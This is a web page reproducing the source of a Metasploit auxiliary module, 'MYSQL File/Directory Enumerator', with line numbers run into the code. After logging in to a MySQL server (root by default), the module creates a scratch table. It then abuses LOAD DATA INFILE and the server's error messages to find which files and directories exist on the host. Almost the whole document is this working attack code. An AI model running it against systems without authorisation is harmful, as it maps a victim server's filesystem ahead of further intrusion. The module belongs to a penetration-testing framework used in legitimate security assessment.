Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/mysql/mysql_file_enum.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'yaml'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::MYSQL9include Msf::Auxiliary::Report10include Msf::Auxiliary::Scanner11include Msf::OptionalSession::MySQL1213def initialize14super(15'Name' => 'MYSQL File/Directory Enumerator',16'Description' => %Q{17Enumerate files and directories using the MySQL load_file feature, for more18information see the URL in the references.19},20'Author' => [ 'Robin Wood <robin[at]digininja.org>' ],21'References' => [22[ 'URL', 'http://pauldotcom.com/2013/01/mysql-file-system-enumeration.html' ],23[ 'URL', 'http://www.digininja.org/projects/mysql_file_enum.php' ]24],25'License' => MSF_LICENSE26)2728register_options([29OptPath.new('FILE_LIST', [ true, "List of directories to enumerate", '' ]),30OptString.new('DATABASE_NAME', [ true, "Name of database to use", 'mysql' ]),31OptString.new('TABLE_NAME', [ true, "Name of table to use - Warning, if the table already exists its contents will be corrupted", Rex::Text.rand_text_alpha(8) ]),32OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])33])3435end3637# This function does not handle any errors, if you use this38# make sure you handle the errors yourself39def mysql_query_no_handle(sql)40res = self.mysql_conn.query(sql)41res42end4344def run_host(ip)45vprint_status("Login...") unless session4647# If we have a session make use of it48if session49print_status("Using existing session #{session.sid}")50self.mysql_conn = session.client51else52# otherwise fallback to attempting to login53return unless mysql_login_datastore54end5556begin57mysql_query_no_handle("USE " + datastore['DATABASE_NAME'])58rescue ::Rex::Proto::MySQL::Client::Error => e59vprint_error("MySQL Error: #{e.class} #{e.to_s}")60return61rescue Rex::ConnectionTimeout => e62vprint_error("Timeout: #{e.message}")63return64end6566res = mysql_query("SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = '" + datastore['DATABASE_NAME'] + "' AND TABLE_NAME = '" + datastore['TABLE_NAME'] + "';")67table_exists = (res.size == 1)6869if !table_exists70vprint_status("Table doesn't exist so creating it")71mysql_query("CREATE TABLE " + datastore['TABLE_NAME'] + " (brute int);")72end7374file = File.new(datastore['FILE_LIST'], "r")75file.each_line do |line|76check_dir(line.chomp)77end78file.close7980if !table_exists81vprint_status("Cleaning up the temp table")82mysql_query("DROP TABLE " + datastore['TABLE_NAME'])83end84end8586def check_dir dir87begin88res = mysql_query_no_handle("LOAD DATA INFILE '" + dir + "' INTO TABLE " + datastore['TABLE_NAME'])89rescue ::Rex::Proto::MySQL::Client::TextfileNotReadable90print_good("#{dir} is a directory and exists")91report_note(92:host => mysql_conn.peerhost,93:type => "filesystem.dir",94:data => "#{dir} is a directory and exists",95:port => mysql_conn.peerport,96:proto => 'tcp',97:update => :unique_data98)99rescue ::Rex::Proto::MySQL::Client::DataTooLong, ::Rex::Proto::MySQL::Client::TruncatedWrongValueForField100print_good("#{dir} is a file and exists")101report_note(102:host => mysql_conn.peerhost,103:type => "filesystem.file",104:data => "#{dir} is a file and exists",105:port => mysql_conn.peerport,106:proto => 'tcp',107:update => :unique_data108)109rescue ::Rex::Proto::MySQL::Client::ServerError110vprint_warning("#{dir} does not exist")111rescue ::Rex::Proto::MySQL::Client::Error => e112vprint_error("MySQL Error: #{e.class} #{e.to_s}")113return114rescue Rex::ConnectionTimeout => e115vprint_error("Timeout: #{e.message}")116return117else118print_good("#{dir} is a file and exists")119report_note(120:host => mysql_conn.peerhost,121:type => "filesystem.file",122:data => "#{dir} is a file and exists",123:port => mysql_conn.peerport,124:proto => 'tcp',125:update => :unique_data126)127end128129return130end131end132133134